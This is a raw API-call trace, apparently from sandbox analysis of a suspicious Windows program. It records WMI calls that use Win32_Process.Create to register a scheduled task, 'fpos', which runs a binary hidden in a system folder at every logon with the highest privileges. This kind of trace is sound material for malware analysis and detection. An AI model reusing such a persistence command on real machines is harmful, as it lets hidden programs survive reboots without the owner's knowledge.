[0155.220] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bbf1be0) returned 0x0 [0155.220] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf1be0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0155.221] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf1be0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1aa0b010) returned 0x0 [0155.221] WbemDefPath:IUnknown:Release (This=0x1bbf1be0) returned 0x0 [0155.221] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b010, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1aa0b010) returned 0x0 [0155.221] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b010, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0155.221] WbemDefPath:IUnknown:AddRef (This=0x1aa0b010) returned 0x3 [0155.221] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b010, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0155.221] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b010, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0155.221] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b010, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bbf18c0) returned 0x0 [0155.221] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf18c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0155.221] WbemDefPath:IUnknown:Release (This=0x1bbf18c0) returned 0x3 [0155.221] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0155.222] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0155.222] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b010, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0155.222] WbemDefPath:IUnknown:Release (This=0x1aa0b010) returned 0x2 [0155.222] WbemDefPath:IUnknown:Release (This=0x1aa0b010) returned 0x1 [0155.222] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0155.222] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0155.222] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b010, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1aa0b010) returned 0x0 [0155.222] WbemDefPath:IUnknown:AddRef (This=0x1aa0b010) returned 0x3 [0155.222] WbemDefPath:IUnknown:Release (This=0x1aa0b010) returned 0x2 [0155.222] WbemDefPath:IWbemPath:SetText (This=0x1aa0b010, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0155.222] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b550, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0155.222] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b550, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0155.222] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b550, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0155.222] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0155.222] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0155.222] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0155.222] IUnknown:Release (This=0x1a943398) returned 0x1 [0155.224] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbf1a40) returned 0x0 [0155.225] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf1a40, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0155.225] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf1a40, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0af50) returned 0x0 [0155.225] WbemDefPath:IUnknown:Release (This=0x1bbf1a40) returned 0x0 [0155.225] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0af50, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0af50) returned 0x0 [0155.225] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0af50, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0155.225] WbemDefPath:IUnknown:AddRef (This=0x1aa0af50) returned 0x3 [0155.225] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0af50, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0155.225] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0af50, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0155.225] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0af50, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbf19c0) returned 0x0 [0155.225] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf19c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0155.225] WbemDefPath:IUnknown:Release (This=0x1bbf19c0) returned 0x3 [0155.225] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0155.226] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0155.226] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0af50, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0155.226] WbemDefPath:IUnknown:Release (This=0x1aa0af50) returned 0x2 [0155.226] WbemDefPath:IUnknown:Release (This=0x1aa0af50) returned 0x1 [0155.226] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0155.226] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0155.226] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0af50, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0af50) returned 0x0 [0155.226] WbemDefPath:IUnknown:AddRef (This=0x1aa0af50) returned 0x3 [0155.226] WbemDefPath:IUnknown:Release (This=0x1aa0af50) returned 0x2 [0155.226] WbemDefPath:IWbemPath:SetText (This=0x1aa0af50, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0155.226] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b010, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0155.226] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0af50, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0155.226] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0af50, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0155.226] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0af50, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0155.226] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1aa0b010) returned 0x0 [0155.226] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0af50, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0155.226] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0af50, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0155.226] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0af50, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0155.226] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0b010, uIndex=0x0, pszName="root") returned 0x0 [0155.226] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0af50, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0155.226] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0af50, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0155.227] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0b010, uIndex=0x1, pszName="cimv2") returned 0x0 [0155.227] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0af50, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0155.227] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0af50, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0155.227] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0b010, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0155.227] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0b010, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0155.227] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0b010, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0155.227] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b550, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0155.227] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b550, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0155.227] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b550, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0155.227] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b550, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0155.227] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b550, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0155.227] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b550, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0155.227] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b010, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0155.227] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b010, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0155.227] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b010, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0155.227] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b010, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0155.227] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b010, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0155.229] IWbemServices:GetObject (in: This=0x1bbaa570, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bcf67d0, ppCallResult=0x0) returned 0x0 [0155.236] IWbemClassObject:GetMethod (in: This=0x1bcf67d0, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bcf6b40, ppOutSignature=0x1bb7e690*=0x1bcf6eb0) returned 0x0 [0155.236] IWbemClassObject:SpawnInstance (in: This=0x1bcf6b40, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1bbd3ad0) returned 0x0 [0155.237] IWbemClassObject:Get (in: This=0x1bbd3ad0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2866160*=0, plFlavor=0x2866164*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2866160*=8, plFlavor=0x2866164*=32) returned 0x0 [0155.237] IWbemClassObject:Get (in: This=0x1bbd3ad0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2866160*=8, plFlavor=0x2866164*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2866160*=8, plFlavor=0x2866164*=32) returned 0x0 [0155.238] IWbemClassObject:Put (This=0x1bbd3ad0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"fpos\" /sc ONLOGON /tr \"'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0155.238] IWbemClassObject:Get (in: This=0x1bbd3ad0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28661f0*=0, plFlavor=0x28661f4*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28661f0*=13, plFlavor=0x28661f4*=32) returned 0x0 [0155.238] IWbemClassObject:Get (in: This=0x1bbd3ad0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28661f0*=13, plFlavor=0x28661f4*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28661f0*=13, plFlavor=0x28661f4*=32) returned 0x0 [0155.238] IUnknown:QueryInterface (in: This=0x1bcf60f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bcf60f0) returned 0x0 [0155.238] IUnknown:QueryInterface (in: This=0x1bcf60f0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0155.238] IUnknown:QueryInterface (in: This=0x1bcf60f0, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0155.239] IUnknown:AddRef (This=0x1bcf60f0) returned 0x3 [0155.239] IUnknown:QueryInterface (in: This=0x1bcf60f0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0155.239] IUnknown:QueryInterface (in: This=0x1bcf60f0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0155.239] IUnknown:QueryInterface (in: This=0x1bcf60f0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bcf60f8) returned 0x0 [0155.239] IMarshal:GetUnmarshalClass (in: This=0x1bcf60f8, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0155.239] IUnknown:Release (This=0x1bcf60f8) returned 0x3 [0155.239] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0155.239] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0155.239] IUnknown:QueryInterface (in: This=0x1bcf60f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0155.239] IUnknown:Release (This=0x1bcf60f0) returned 0x2 [0155.239] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0155.240] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0155.240] IUnknown:QueryInterface (in: This=0x1bcf60f0, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0155.240] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0155.240] IUnknown:QueryInterface (in: This=0x1bcf60f0, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0155.240] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0155.240] IUnknown:AddRef (This=0x1bcf60f0) returned 0x3 [0155.241] IWbemClassObject:Put (This=0x1bbd3ad0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bcf60f0, varVal2=0x0), Type=0) returned 0x0 [0155.241] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b3d0, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0155.241] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b3d0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0155.241] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b3d0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0155.241] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b550, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0155.241] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b550, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0155.241] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b550, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0155.241] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b3d0, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0155.241] 